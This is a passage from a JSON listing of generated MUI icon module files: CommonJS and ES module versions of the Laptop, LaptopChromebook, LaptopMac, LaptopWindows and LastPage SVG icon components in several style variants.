    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18V3H2v15H0v2h24v-2zm-8 0h-4v-1h4zm6-3H4V5h16z\"\n}), 'LaptopChromebook');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebook.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18V3H2v15H0v2h24v-2zm-8 0h-4v-1h4zm6-3H4V5h16z\"\n}), 'LaptopChromebook');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebookOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18V3H2v15H0v2h24v-2zm-8 0h-4v-1h4zm6-3H4V5h16z\"\n}), 'LaptopChromebookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebookOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18V3H2v15H0v2h24v-2zm-8 0h-4v-1h4zm6-3H4V5h16z\"\n}), 'LaptopChromebookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebookRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 18h-1V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v13H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1m-9.5 0h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5m6.5-3H4V6c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}), 'LaptopChromebookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebookRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 18h-1V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v13H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1m-9.5 0h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5m6.5-3H4V6c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}), 'LaptopChromebookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebookSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18V3H2v15H0v2h24v-2zm-8 0h-4v-1h4zm6-3H4V5h16z\"\n}), 'LaptopChromebookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebookSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18V3H2v15H0v2h24v-2zm-8 0h-4v-1h4zm6-3H4V5h16z\"\n}), 'LaptopChromebookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebookTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18V3H2v15H0v2h24v-2zm-8 0h-4v-1h4zm6-3H4V5h16z\"\n}, \"1\")], 'LaptopChromebookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopChromebookTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18V3H2v15H0v2h24v-2zm-8 0h-4v-1h4zm6-3H4V5h16z\"\n}, \"1\")], 'LaptopChromebookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMac.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2H0c0 1.1.9 2 2 2h20c1.1 0 2-.9 2-2zM4 5h16v11H4zm8 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LaptopMac');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMac.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2H0c0 1.1.9 2 2 2h20c1.1 0 2-.9 2-2zM4 5h16v11H4zm8 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LaptopMac');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMacOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2H0c0 1.1.9 2 2 2h20c1.1 0 2-.9 2-2zM4 5h16v11H4zm8 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LaptopMacOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMacOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2H0c0 1.1.9 2 2 2h20c1.1 0 2-.9 2-2zM4 5h16v11H4zm8 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LaptopMacOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMacRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2H0c0 1.1.9 2 2 2h20c1.1 0 2-.9 2-2zM5 5h14c.55 0 1 .45 1 1v9c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1m7 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LaptopMacRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMacRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2H0c0 1.1.9 2 2 2h20c1.1 0 2-.9 2-2zM5 5h14c.55 0 1 .45 1 1v9c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1m7 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LaptopMacRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMacSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 18 1.99-2L22 3H2v13l2 2H0v2h24v-2zM4 5h16v11H4zm8 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LaptopMacSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMacSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 18 1.99-2L22 3H2v13l2 2H0v2h24v-2zM4 5h16v11H4zm8 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LaptopMacSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMacTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5h16v11H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2H0c0 1.1.9 2 2 2h20c1.1 0 2-.9 2-2zM4 5h16v11H4zm8 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'LaptopMacTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopMacTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5h16v11H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2H0c0 1.1.9 2 2 2h20c1.1 0 2-.9 2-2zM4 5h16v11H4zm8 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'LaptopMacTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'LaptopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'LaptopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1zM5 6h14c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1\"\n}), 'LaptopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1zM5 6h14c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1\"\n}), 'LaptopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 18 2-2V4H2v12l2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'LaptopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 18 2-2V4H2v12l2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'LaptopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}, \"1\")], 'LaptopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}, \"1\")], 'LaptopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindows.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-1c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2v1H0v2h24v-2zM4 5h16v10H4z\"\n}), 'LaptopWindows');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindows.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-1c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2v1H0v2h24v-2zM4 5h16v10H4z\"\n}), 'LaptopWindows');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindowsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-1c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2v1H0v2h24v-2zM4 5h16v10H4z\"\n}), 'LaptopWindowsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindowsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-1c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2v1H0v2h24v-2zM4 5h16v10H4z\"\n}), 'LaptopWindowsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindowsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-1c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2v1H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1zM5 5h14c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1\"\n}), 'LaptopWindowsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindowsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-1c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2v1H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1zM5 5h14c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1\"\n}), 'LaptopWindowsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindowsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-1h1.99L22 3H2v14h2v1H0v2h24v-2zM4 5h16v10H4z\"\n}), 'LaptopWindowsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindowsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-1h1.99L22 3H2v14h2v1H0v2h24v-2zM4 5h16v10H4z\"\n}), 'LaptopWindowsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindowsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-1c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2v1H0v2h24v-2zM4 5h16v10H4z\"\n}, \"1\")], 'LaptopWindowsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LaptopWindowsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-1c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2v1H0v2h24v-2zM4 5h16v10H4z\"\n}, \"1\")], 'LaptopWindowsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.59 7.41 10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\"\n}), 'LastPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.59 7.41 10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\"\n}), 'LastPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.59 7.41 10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\"\n}), 'LastPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LastPageOutlined.mjs",
